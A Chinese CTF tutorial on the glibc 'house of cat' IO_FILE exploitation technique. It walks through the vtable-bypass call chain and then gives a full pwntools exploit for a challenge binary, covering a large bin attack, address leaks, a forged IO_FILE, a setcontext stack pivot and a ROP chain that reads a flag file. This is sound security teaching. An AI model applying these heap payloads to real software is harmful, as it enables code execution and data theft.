house of cat

文章目录

  • house of cat
    • 概述:
    • _IO_wfile_jumps
    • 进入_IO_wfile_seekoff
      • FSOP
      • __malloc_assert
    • 例题:
      • 思路:
      • 分析:
      • 利用:

house of cat

概述:

  1. house of cat主要的摸底还是覆盖vtable指针,因为在glibc-2.24之后堆vtable新增了检查,导致直接覆盖vtable为system行不通,所以需要 利用_IO_jump_t中的函数 (这样能绕过vtable的判断)来挟持程序的控制流。

    vtable的检查可以看这篇文章 :glibc 2.24 下 IO_FILE 的利用 ,house of cat可以通过伪造IO_FILE走FOSP或者**__malloc_assert** 来完成攻击。

_IO_wfile_jumps

  1. 首先利用的函数就是_IO_wfile_jumps中的 _IO_wfile_seekoff函数,这里看一下 _IO_wfile_jumps的结构:

    我们关注的**_IO_wfile_seekoff**在第10个位置,偏移为0x48。这里额外关注一下第二个函数_IO_wfile_overflow,后面会调用。

    image-20240902094859041

    _IO_wfile_seekoff函数的源码如下,截取要利用的关键部位:

    off64_t
    _IO_wfile_seekoff(FILE *fp, off64_t offset, int dir, int mode)
    {off64_t result;off64_t delta, new_offset;long int count;/* Short-circuit into a separate function.  We don't want to mix anyfunctionality and we don't want to touch anything inside the FILEobject. */if (mode == 0) // 要绕过这个判断 mode 不能为 0return do_ftell_wide(fp);/* POSIX.1 8.2.3.7 says that after a call the fflush() the fileoffset of the underlying file must be exact.  */int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) && (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr));bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode(fp)); // 给was_writing赋值/* Flush unwritten characters.(This may do an unneeded write if we seek within the buffer.But to be able to switch to reading, we would need to setegptr to pptr.  That can't be done in the current design,which assumes file_ptr() is eGptr.  Anyway, since we probablyend up flushing when we close(), it doesn't make much difference.)FIXME: simulate mem-mapped files. */if (was_writing && _IO_switch_to_wget_mode(fp)) // was_writing为1时会调用_IO_switch_to_wget_mode函数,传入的第一个参数是当前的FILEreturn WEOF;

    _IO_switch_to_wget_mode函数的源码如下:

    函数在第一个判断条件成立后会调用_IO_WOVERFLOW函数,并传入当前FILE地址。仔细看,这里的判断条件和上上面 _IO_wfile_seekoff的判断条件是一样的。所以伪造IO_FILE是只用满足该条件即可

        int _IO_switch_to_wget_mode(FILE *fp)
    {if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)if ((wint_t)_IO_WOVERFLOW(fp, WEOF) == WEOF)return EOF;if (_IO_in_backup(fp))fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_backup_base;else{fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_buf_base;if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;}fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_write_ptr;fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_read_ptr;fp->_flags &= ~_IO_CURRENTLY_PUTTING;return 0;
    }
    

    这里提前放一段 _IO_switch_to_wget_mode函数的汇编指令,后面讲一个打IO_FILE的栈迁移(不用malloc_hook和free_hook):

    看一下_IO_WOVERFLOW(fp, WEOF)的调用过程:

    调用 fp的_wide_data字段 指向的 结构体**_ IO_wide_data**中的 _wide_vtable字段 所指向的__overflow函数(在虚表中偏移为 0x18,也就是上面 _IO_wfile_jumps中的第二个函数)。并且再次过程中 使用 _wide_vtable时并没有像glibc-2.24中的vtable检查范围,所以这里的 _wide_vtable字段的指针时可以被我们随意覆盖的(覆盖成system)

    image-20240902091946038

    结构体如下:

    image-20240902092725210

  2. 最后综上,从_IO_wfile_seekoff函数 要执行到 _IO_switch_to_wget_mode函数,需要绕过的检查:

    fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
    

    所以,在伪造IO_FILE时可以按照下面方法:

    • 伪造的IO_FILE地址 + 0xc0 ==> -1 (fp->_mode != 0)

    • 伪造的IO_FILE地址 + 0xa0 ==> 任意一个堆地址 chunk_addr

    • chunk_addr + 0x18 ==> 0x1 (fp->_wide_data->_IO_write_ptr)

    • chunk_addr + 0x20 ==> 0x0 (fp->_wide_data->_IO_write_base)

进入_IO_wfile_seekoff

  1. 上面只看了_IO_wfile_seekoff函数 要执行到 _IO_switch_to_wget_mode函数的情况,如何执行到 _IO_wfile_seekoff函数还没有解决,下面看如何执行到 _IO_wfile_seekoff函数,两种方法:

FSOP

执行的IO链子:

__GI_exit --> __run_exit_handlers --> _IO_cleanup --> _IO_wfile_seekoff --> _IO_switch_to_wget_mode
  1. 因为_IO_wfile_seekoff函数所在的虚表 _IO_wfile_jumps时存在vtable检查内的,所以利用先前house of pig中,通过调用exit函数执行到 _IO_flush_all_lockp,然后覆盖vtable为 _IO_wfile_jumps + 0x30 ,在 _IO_flush_all_lockp刷新所有文件时就会调用到 _IO_wfile_seekoff 函数.

  2. 简单看一下FSOP的调用链,前提时满足FSOP链的要求。而 _IO_wfile_seekoff调用到 _IO_switch_to_wget_mode要满足 mode != 0,所以 mode <0 ,但是 _IO_wfile_seekoff中的mode并不是 fp-> _mode:

    image-20240902165310328

    image-20240902164938245

    要绕过这个mode == 0的我检查,就要在 _IO_flush_all_lockp调用 _IO_wfile_seekoff函数时将传入的参数mode设置为0,在挟持vtavle执行 _IO_wfile_seekoff函数时,如果使用第一个判断条件

    看一下调试的情况(这里用的是glibc-2.31),在调用到 _IO_wfile_seekoff函数之前都没有对rcx进行赋值,所以进入 _IO_wfile_seekoff函数后 参数mode会是0,这种情况下我们不能控制mode参数的值(我继续像上面的函数调试了,发现在 _IO_cleanup 函数中将rcx设置为0,一直保持到了 _IO_flush_all_lockp 函数)。如果利用第一个判断条件,我们是无法通过伪造IO_FILE来将mode 即 rcx寄存器的值设置为0 :

    如果使用第二个判断条件 (和IO_wfile_seekoff调用IO_switch_to_wget_mode函数的条件一样),在进入到 IO_wfile_seekoff函数之前, 这里对rcx进行了赋值,用的是**(_IO_wide_data_2+24)即 _IO_wide_data_2中的 _IO_write_base字段的值**。在这前面的部分都没有对rcx赋值,且在进入_IO_flush_all_lockp函数是rcx的值为0

    image-20240902171941166

    满足,fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 后顺利调用到 _IO_switch_to_wget_mode函数,这里传参rdi的值直接给的FILE地址:

    image-20240902103826613

    再次通过上面的判断条件后,通过从fp中的_wide_data字段 进入 _IO_wide_data_2,再通过 IO_wide_data_2中的 _wide_vtable字段 顺利调用到 _IO_wfile_jumps中偏移为0x18处的函数 _IO_wfile_overflow:

    image-20240902103933810

    所以,如果伪造FILE,在绕过检查的同时(上面有绕过检查的方法),再伪造一下fp中的_wide_data字段 和对应 IO_wide_data_2 就能get shell,伪造好后如下(这里演示栈迁移的get shell的方法 仍然只使用system(“/bin/sh”)),要用到setcontext,并且用 _IO_switch_to_wget_mode函数前段部分 用rdi 给rdx赋值

    rdi(fp) ==> rax(_wide_vtable) ==> rdx( _wide_vtable -> _IO_write_ptr ):

    image-20240902195801390

    执行到 调用_IO_wfile_seekoff函数之前,将IO_wide_data_2中的 _IO_write_base字段值给到rcx

    image-20240902193431998

    进入_IO_wfile_seekoff函数,可以看到传入的额参数mode = 1:

    image-20240902193716151

    这里检查了传入的 mode 是否为0:

    image-20240902193840863

    成功衔接到_IO_switch_to_wget_mode函数:

    image-20240902193914697

    进入_IO_switch_to_wget_mode 函数,开头的一段直接 rdi(fp) ==> rax( _wide_vtable) ==> rdx( _wide_vtable -> _IO_write_ptr ),完成 rdi 到 rdx值的转化,后面的call 指令顺利衔接到setcontext + 61:

    image-20240902194520125

    进入setconbext + 61,对 rsp 赋值完成栈迁移,rcx 赋为ret指令地址入栈,退出时平衡掉栈:

    image-20240902195127027

    顺利完成栈迁移,成功get shell:

    image-20240902195424808

__malloc_assert

  1. FSOP前面都已经介绍的很熟悉了,这里主要看另外一种能调用到 _IO_wfile_seekoff函数的方法。
  2. __malloc_assert 函数的作用就是在动态内存分配失败时,提供一种处理这种情况的方法。它可能会打印错误信息、触发断言(assert)或执行其他错误处理操作。
  3. __malloc_assert触发的IO链子:
_int_malloc --> sysmalloc --> __malloc_assert --> __fxprintf --> __vfxprintf--> locked_vfxprintf --> __vfprintf_internal --> _IO_file_xsputn

经过调试,发现这里要执行到_IO_file_xsputn 要将 _flag要设置为0x8005 (绕过__vfprintf_internal中的两个检查):

第一个检查:

image-20240902224257783

第二个检查:

image-20240902224429651

image-20240902223728817

image-20240902223736971

  1. 这里覆盖文件中的stderr字段指向堆,然后在堆上伪造 _IO_2_1_stderr _ 结构,伪造的结构如下(这里只保证执行到setcontext + 53处)。注意:因为IO链的不同,这里伪造时和FSOP不同之处在于vtable的覆盖 要使用 _IO _wfile _jumps+0x10,这样后面+0x38 偏移就能拿到 _IO_wfile_seekoff函数:

    image-20240903110046666

    在__vfxprintf 函数中,会从stderr中取出伪造的FILE地址(这里原本是 _IO_2_1_stderr _的地址):

    image-20240903104551502

    在这里绕过一个判断条件,成功调用到 __vfxprintf函数:

    image-20240903105020856

    后面进入到 __vfwprintf_internal函数中,通过 _IO_vtable_check判断,成功调用到 _IO_wfile_seekoff函数,并且 _IO_wfile_seekoff中传入的参数mode不为0,可以绕过前面第一个判断:

    image-20240903105239315

    image-20240903105354044

    这里满足第二个判断条件 fp-> _wide_data->_IO_write_ptr > fp-> _wide_data-> _IO_write_base,最后调用到 _IO_switch_to_wget_mode函数:

    image-20240903105615946

    进入_IO_switch_to_wget_mode函数(这里仍然能完成栈迁移 rdi --> rdx转换,和上面FSOP一样),绕过判断条件 fp-> _wide_data-> _IO_write_ptr > fp-> _wide_data-> _IO_write_base 后成功衔接到<setcontext+53>:

    image-20240903110226919

例题:

题目地址:[HGAME 2023 week3]note_context | NSSCTF

思路:

  1. 只存在一个UAF漏洞,并且申请的size限制在0x500往上,这里就只能打large bin attack,libc的版本附件给的是2.32,所以这里可以打house of cat,利用FSOP触发,栈迁移到堆上,基本的流程如下:

    泄漏堆地址、libc地址 --> large bin attack 覆盖 _IO_list_all --> 伪造IO_FILE --> 最后在 _IO_flush_all_lockp劫持函数,通过 _wide_data中的函数指针完成栈迁移到堆上。

分析:

  1. 4项功能俱全,add函数中设置了size范围大于0x500 小于0x900,delete函数中存在UAF漏洞,并且最后主动调用了exit()函数。同时开了沙箱要绕过,并且保护全开(这里__malloc_assert触发就不太现实了 stderr的地址都拿不到):

    image-20240903215122766

    image-20240903205017690

    image-20240903205021933

    image-20240903205745353

利用:

  1. 先泄漏堆地址和libc地址:

    
    # 泄漏libc
    add(0x510,0)    #0
    add(0x530,15)    #15 隔开
    add(0x520,1)    #1
    add(0x530,15)    #15
    edit(15,b"./flag\x00\x00")free(1)
    add(0x530,15)    #15 将chunk1放入large bin
    show(1)
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    libc_base = addr - 0x1E4030
    success("libc_addr==>"+hex(libc_base))
    debug()
    pause()
    #计算__free_hook和system地址
    setcontext_addr    = libc_base + libc.sym["setcontext"] + 61
    system_addr        = libc_base + libc.sym["system"]
    IO_2_1_stdout_addr = libc_base + libc.sym["_IO_2_1_stdout_"]
    IO_list_all_addr   = libc_base + libc.sym["_IO_list_all"]
    IO_wfile_jumps_addr = libc_base + libc.sym["_IO_wfile_jumps"]
    # IO_wfile_jumps_addr = libc_base + 0x1E4F80success("system_addr==>"        + hex(system_addr))
    success("setcontext_addr==>"    + hex(setcontext_addr))
    success("IO_2_1_stdout_addr==>" + hex(IO_2_1_stdout_addr))
    success("IO_list_all_addr==>"   + hex(IO_list_all_addr))
    success("IO_wfile_jumps_addr==>"   + hex(IO_wfile_jumps_addr))open_addr = libc.sym['open']+libc_base
    read_addr = libc.sym['read']+libc_base
    write_addr = libc.sym['write']+libc_basepop_rdi_ret=libc_base + 0x000000000002858f
    pop_rdx_r12_ret=libc_base + 0x0000000000114161
    pop_rax_ret=libc_base + 0x0000000000045580
    pop_rsi_ret=libc_base + 0x000000000002ac3f
    ret= libc_base + 0x0000000000026699# 泄漏堆地址 同时完成large bin attack 攻击 覆盖掉IO_list_all
    free(0)
    edit(1,p64(addr)*2 + p64(0) + p64(IO_list_all_addr-0x20))
    add(0x530,15)    #15 将chunk0放入large bin 触发large bin attackshow(1)
    p.recv()
    heap_addr = u64(p.recv(6).ljust(8,b'\x00'))-0x290
    success("heap_addr==>"+hex(heap_addr))
    

    这里由于只有large bin,没有chunk进入fastbin和tcache,所以可以在完成large bin attack的同时,利用large bin fd指针上的值泄漏堆地址。

    这里泄漏libc地址,同时可以看到fd指针上是无法得到堆地址的:

    image-20240903210634702

    这里完成一次large bin attack攻击 ,同时泄漏堆地址:

    image-20240903215757651

    image-20240903211336770

  2. 后面在堆上伪造IO_FILE 同时 写好ORW ,利用_IO_switch_to_wget_mode完成栈迁移(堆上布置好rsp和rcx寄存器的值),这里将IO_FILE、ORW、 _wide_data、寄存器传参、直接全部在一个堆上伪造(这里堆的各种偏移需要调试计算好):

    # ORW
    syscall = read_addr+16
    flag = heap_addr+0x1230		# 前面堆上写入的b"./flag\x00\x00"地址# open(0,flag)
    orw =p64(pop_rdi_ret)+p64(flag)
    orw+=p64(pop_rsi_ret)+p64(0)
    orw+=p64(pop_rax_ret)+p64(2)
    orw+=p64(syscall)
    # orw =p64(pop_rdi_ret)+p64(flag)
    # orw+=p64(pop_rsi_ret)+p64(0)
    # orw+=p64(open_addr)# read(3,heap+0x1010,0x30) 
    orw+=p64(pop_rdi_ret)+p64(3)
    orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010)
    orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)
    orw+=p64(read_addr)     # write(1,heap+0x1010,0x30)
    orw+=p64(pop_rdi_ret)+p64(1)
    orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010)#存放地址0x50
    orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)
    orw+=p64(write_addr)# debug()
    # ========== 伪造IO_FILE ==========
    file = p64(0) + p64(0)              #_IO_read_end    _IO_read_base
    file+= p64(0) + p64(1) + p64(0)     #_IO_write_base  _IO_write_ptr _IO_write_end
    file+= p64(0) + p64(0)              #_IO_buf_base    _IO_buf_end
    file+= p64(0) * 11                  #_IO_save_base ~ _codecvt
    file+= p64(heap_addr + 0x370)        #_wide_data
    file+= p64(0) *3                    #_freeres_list ~ __pad5
    file+= p64(1) + p64(0)*2            # _mode  _unused2 (2dword)file+=p64(IO_wfile_jumps_addr + 0x30)   #vtable#_IO_wide_data_2
    _wide_vtable = heap_addr + 0x380
    rdx = heap_addr + 0x380			   # rdi --> rdx 转换
    stack_change = heap_addr + 0x460file+= p64(0)*3                                      #_IO_read_ptr   _IO_read_end  _IO_read_base
    file+= p64(1) + p64(rdx) + p64(setcontext_addr)      #_IO_write_base _IO_write_ptr _IO_write_end
    file+= p64(0) * 16 + p64(stack_change) + p64(ret)
    file+= p64(0) * 4
    file+= p64(_wide_vtable)          #_wide_vtable
    file+= p64(0)   #填充
    # stack change
    file+= orwedit(0,file)
    p.sendline(b"5")
    p.interactive()
    

    看一下伪造好后的堆:

    image-20240903212044439

    image-20240903212109523

    image-20240903212635072

    下面试栈迁移的过程:

    绕过检查 进入 _IO_switch_to_wget_mode

    image-20240903212747400

    在 函数中完成 rdi --> rdx 值的转换,并成功衔接到 setcontext+61:

    image-20240903213428197

    进入setcontext + 61,开头完成栈迁移:

    image-20240903213504978

    push rcx 入栈 ret指令地址:

    image-20240903213542446

    最后衔接到堆上布置好的ORW:

    image-20240903213655674

    最后读取到flag:

    image-20240903213717672

  3. 完成EXP,这里就只打了本地,因为远程泄漏出来的libc地址根本不对,应该是给的libc版本和远程的不符合:

    from pwn import *
    from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')def debug():gdb.attach(p)# p = remote("node5.anna.nssctf.cn",28430)
    p = process("./vuln")
    # libc = ELF('./lib/libc_2.31-0ubuntu9.2_amd64.so')libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so')
    # elf = ELF("./pwn")def add(size,index):p.sendlineafter(b'>','1')p.sendlineafter(b':',str(index).encode())p.sendlineafter(b':',str(size).encode())def edit(index, content):p.sendlineafter(b'>','3')p.sendlineafter(b':',str(index).encode())p.sendafter(b':',content)def show(index):p.sendlineafter(b'>',b'4')p.sendlineafter(b':',str(index).encode())def free(index):p.sendlineafter(b'>','2')p.sendlineafter(b':',str(index).encode())# 泄漏libc
    add(0x510,0)    #0
    add(0x530,15)    #15 隔开
    add(0x520,1)    #1
    add(0x530,15)    #15
    edit(15,b"./flag\x00\x00")free(1)
    add(0x530,15)    #15 将chunk1放入large bin
    show(1)addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    libc_base = addr - 0x1E4030
    success("libc_addr==>"+hex(libc_base))#计算__free_hook和system地址
    setcontext_addr    = libc_base + libc.sym["setcontext"] + 61
    system_addr        = libc_base + libc.sym["system"]
    IO_2_1_stdout_addr = libc_base + libc.sym["_IO_2_1_stdout_"]
    IO_list_all_addr   = libc_base + libc.sym["_IO_list_all"]
    IO_wfile_jumps_addr = libc_base + libc.sym["_IO_wfile_jumps"]
    # IO_wfile_jumps_addr = libc_base + 0x1E4F80success("system_addr==>"        + hex(system_addr))
    success("setcontext_addr==>"    + hex(setcontext_addr))
    success("IO_2_1_stdout_addr==>" + hex(IO_2_1_stdout_addr))
    success("IO_list_all_addr==>"   + hex(IO_list_all_addr))
    success("IO_wfile_jumps_addr==>"   + hex(IO_wfile_jumps_addr))open_addr = libc.sym['open']+libc_base
    read_addr = libc.sym['read']+libc_base
    write_addr = libc.sym['write']+libc_basepop_rdi_ret=libc_base + 0x000000000002858f
    pop_rdx_r12_ret=libc_base + 0x0000000000114161
    pop_rax_ret=libc_base + 0x0000000000045580
    pop_rsi_ret=libc_base + 0x000000000002ac3f
    ret= libc_base + 0x0000000000026699# 泄漏堆地址 同时完成large bin attack 攻击 覆盖掉IO_list_all
    free(0)
    edit(1,p64(addr)*2 + p64(0) + p64(IO_list_all_addr-0x20))
    add(0x530,15)    #15 将chunk0放入large bin 触发large bin attackshow(1)
    p.recv()
    heap_addr = u64(p.recv(6).ljust(8,b'\x00'))-0x290
    success("heap_addr==>"+hex(heap_addr))# ORW
    syscall = read_addr+16
    flag = heap_addr+0x1230# open(0,flag)
    orw =p64(pop_rdi_ret)+p64(flag)
    orw+=p64(pop_rsi_ret)+p64(0)
    orw+=p64(pop_rax_ret)+p64(2)
    orw+=p64(syscall)
    # orw =p64(pop_rdi_ret)+p64(flag)
    # orw+=p64(pop_rsi_ret)+p64(0)
    # orw+=p64(open_addr)# read(3,heap+0x1010,0x30) 
    orw+=p64(pop_rdi_ret)+p64(3)
    orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010)
    orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)
    orw+=p64(read_addr)     # write(1,heap+0x1010,0x30)
    orw+=p64(pop_rdi_ret)+p64(1)
    orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010)#存放地址0x50
    orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)
    orw+=p64(write_addr)# ========== 伪造IO_FILE ==========
    file = p64(0) + p64(0)              #_IO_read_end    _IO_read_base
    file+= p64(0) + p64(1) + p64(0)     #_IO_write_base  _IO_write_ptr _IO_write_end
    file+= p64(0) + p64(0)              #_IO_buf_base    _IO_buf_end
    file+= p64(0) * 11                  #_IO_save_base ~ _codecvt
    file+= p64(heap_addr + 0x370)        #_wide_data
    file+= p64(0) *3                    #_freeres_list ~ __pad5
    file+= p64(1) + p64(0)*2            # _mode  _unused2 (2dword)file+=p64(IO_wfile_jumps_addr + 0x30)   #vtable#_wide_data
    _wide_vtable = heap_addr + 0x380
    rdx = heap_addr + 0x380
    stack_change = heap_addr + 0x460file+= p64(0)*3                                      #_IO_read_ptr   _IO_read_end  _IO_read_base
    file+= p64(1) + p64(rdx) + p64(setcontext_addr)      #_IO_write_base _IO_write_ptr _IO_write_end
    file+= p64(0) * 16 + p64(stack_change) + p64(ret)
    file+= p64(0) * 4
    file+= p64(_wide_vtable)          #_wide_vtable
    file+= p64(0)   #填充
    # stack change
    file+= orwedit(0,file)
    p.sendline(b"5")
    p.interactive()
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/415927.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

DrissionPage设置启动浏览器为edge

1.查看浏览器启动路径 在浏览器地址栏输入下面地址&#xff0c;拿到可执行文件的路径 。 edge://version/ 2.替换路径 打开DrissionPage._configs. chromium_options.py文件&#xff0c;找到def browser_path(self)这个函数&#xff0c;将返回内容替换为edge的启动路径&#x…

轿厢电梯-电动车检测数据集(真实电梯监控)

轿厢电动车检测数据集&#xff0c; 可做电梯乘客、电动车检测任务。 数据集由真实电梯监控图片&#xff08;大约四千&#xff09;、电动车网图、手机拍摄图片构成&#xff0c;总计14000张左右&#xff0c;其中近8000样本已标注。 注&#xff1a;文件夹后面数字为对应数据集样本…

论斜率优化dp

论斜率优化dp 1问题2暴力算法-线性dp3斜率优化线性dp4后记 1问题 如下图 看到这题&#xff0c;题面很复杂 其实可以转化为如下问题 有 n n n个任务&#xff0c;排成一个有序序列&#xff0c;我们要解决这些任务 总费用是每一个任务的完成时间乘以费用系数求和 每个任务之前…

紫金大数据平台架构之路(一)----大数据任务开发和调度平台架构设计

一、总体设计 初来公司时&#xff0c;公司还没有大数据&#xff0c;我是作为大数据架构师招入的&#xff0c;结合公司的线上和线下业务&#xff0c;制定了如下的大数据架构路线图。 二、大数据任务开发和调度平台架构设计 在设计完总体架构后&#xff0c;并且搭建完hadoop/ya…

Python基础语法(多进程开发进程建数据共享进程锁进程池)

Python基础语法文章导航&#xff1a; Python基础&#xff08;01初识数据类型&变量&#xff09;Python基础&#xff08;02条件&循环语句&#xff09;Python基础&#xff08;03字符串格式化&运算符&进制&编码&#xff09;Python基础&#xff08;04 基础练习…

Marin说PCB之闲谈设计经验之沟通

今天这期小编我不讲解技术&#xff0c;主要是分享一些个人的工作中的一些经验吧&#xff0c;首先给诸位分享的就是小编我的学的降龙十八掌第一式&#xff1a;沟通&#xff0c;为啥要说沟通是第一个我要说的话题呢&#xff0c;这个说来话长了&#xff0c;小编我就长话短说了。 因…

Rust: Web框架Axum和Rest Client协同测试

Axum作为Rust当红Web框架&#xff0c;值得了解一下。下面实例包括几个典型的常场场景。 具体如下&#xff1a; 一、Axum 1、toml中依赖 [dependencies] tokio {version"1.39.3",features ["full"]} axum {version "0.7.5",features ["to…

OceanBase 关于 place_group_by HINT的使用

PLACE_GROUP_BY Hint 表示在多表关联时&#xff0c;如果满足单表查询后直接进行group by 的情形下&#xff0c;在跟其它表进行关联统计&#xff0c;减少表内部联接。 NO_PLACE_GROUP_BY Hint 表示在多表关联时&#xff0c;在关联后才对结果进行group by。 使用place_group_by …

html+css+js网页设计 故宫10个页面 ui还原度100%

htmlcssjs网页设计 故宫10个页面 ui还原度100% 网页作品代码简单&#xff0c;可使用任意HTML编辑软件&#xff08;如&#xff1a;Dreamweaver、HBuilder、Vscode 、Sublime 、Webstorm、Text 、Notepad 等任意html编辑软件进行运行及修改编辑等操作&#xff09;。 获取源码 …

Spring 学习笔记

概述 Spring 是一个企业级 J2EE 应用开发一站式解决方案&#xff0c;其提供的功能贯穿了项目开发的表现层、业务层和持久化层&#xff0c;同时&#xff0c;Spring 可以和其他应用框架无缝整合 Spring 的特性包括以下几个方面&#xff1a; 轻量&#xff1a;Spring 是一个轻量…

三级_网络技术_58_应用题

一、 请根据下图所示网络结构回答下列问题。 1.填写RG的路由表项。 目的网络/掩码长度输出端口__________S0&#xff08;直接连接&#xff09;__________S1&#xff08;直接连接&#xff09;__________S0__________S1__________S0__________S1 (2)如果在不改变路由表项的前提…

如何录制黑神话悟空的游戏BGM导入iPhone手机制作铃声?

在游戏的世界里&#xff0c;总有那么一些旋律&#xff0c;能够触动玩家的心弦&#xff0c;让人难以忘怀。《黑神话悟空》以其精美的画面和动人的背景音乐&#xff0c;赢得了无数玩家的喜爱。如果你也想将游戏中的背景音录制下来&#xff0c;制作成个性化的m4r格式铃声&#xff…

C++ 设计模式——备忘录模式

C 设计模式——备忘录模式 C 设计模式——备忘录模式1. 主要组成成分2. 逐步构建备忘录模式步骤1: 创建备忘录步骤2: 实现原发器步骤3: 创建管理者&#xff08;负责人&#xff09;类步骤4: 客户端使用 3. 备忘录模式 UML 图UML 图解析 4. 备忘录模式的优点5. 备忘录模式的缺点6…

Camtasia 2024 v2024.0.6 for Mac 中文版 屏幕录像视频录制编辑软件

TechSmith Camtasia for Mac 中文版 是一款专业的屏幕录像及视频录制编辑软件。以业界领先的清晰度重新定义了屏幕录制&#xff0c;将屏幕、摄像头、麦克风和系统音频捕获为独立音轨&#xff0c;实现终极控制和灵活性。通过拖放过渡、标注等功能&#xff0c;以及改进的工作流程…

AI-Talk开发板之helloword

一、说明 创建第一个应用在AI-Talk开发板上运行&#xff0c;编写一个“Hello World”应用&#xff0c;启动之后在主函数里通过UART0&#xff08;debug&#xff09;打印"Hello World"。 官方指导&#xff1a;第一个应用 | 聆思文档中心 (listenai.com) 二、创建工程…

标准库标头 <optional> (C++17)学习之optional

类模板 std::optional 管理一个可选 &#xfeff;的所含值&#xff0c;即既可以存在也可以不存在的值。 一种常见的 optional 使用情况是作为可能失败的函数的返回值。与如 std::pair<T, bool> 等其他手段相比&#xff0c;optional 可以很好地处理构造开销高昂的对象&a…

Ollama拉起本地模型以及rag系统部署。

什么是 Ollama &#xff1f; Ollama 是一个简明易用的本地大模型运行框架。能在本地启动并运行 Llama、qwen、Gemma 及其他大语言模型&#xff0c;没有GPU资源照样可以拉起模型&#xff0c;和LocalAI 比较类似&#xff0c;但是加载模型更容易。 1.安装 安装后运行&#xff0c…

统一NLP和目标检测的DETR(一)——self attention、encoder、decoder

主流目标检测算法劣势 YOLO系列&#xff0c;它基于anchor来做&#xff0c;少不了要用MNS&#xff0c;导致速度相对较慢。 但今天介绍一款DETR&#xff0c;基于VIT的目标检测算法。 那么我们需要先深入过一遍VIT。 Vision transform 1、传统RNN网络的问题 单向&#xff1a;只…

YOLOv8改进实战 | 引入混合局部通道注意力模块MLCA(2023轻量级)

YOLOv8专栏导航:点击此处跳转 前言 YOLOv8 是由 YOLOv5 的发布者 Ultralytics 发布的最新版本的 YOLO。它可用于对象检测、分割、分类任务以及大型数据集的学习,并且可以在包括 CPU 和 GPU 在内的各种硬件上执行。 YOLOv8 是一种尖端的、最先进的 (SOTA) 模型,它建立在以前…

C++和Python混合编程——Python调用C++入门

大纲 背景代码入门环境准备头文件业务代码注册BOOST_PYTHON_MODULE作用 boost::python::class_模板类 编译运行项目地址 背景 Python语言在大数据、人工智能以及大模型开发中扮演着举足轻重的角色&#xff0c;其影响力不断扩大并深化。 在大数据领域&#xff0c;Python以其简…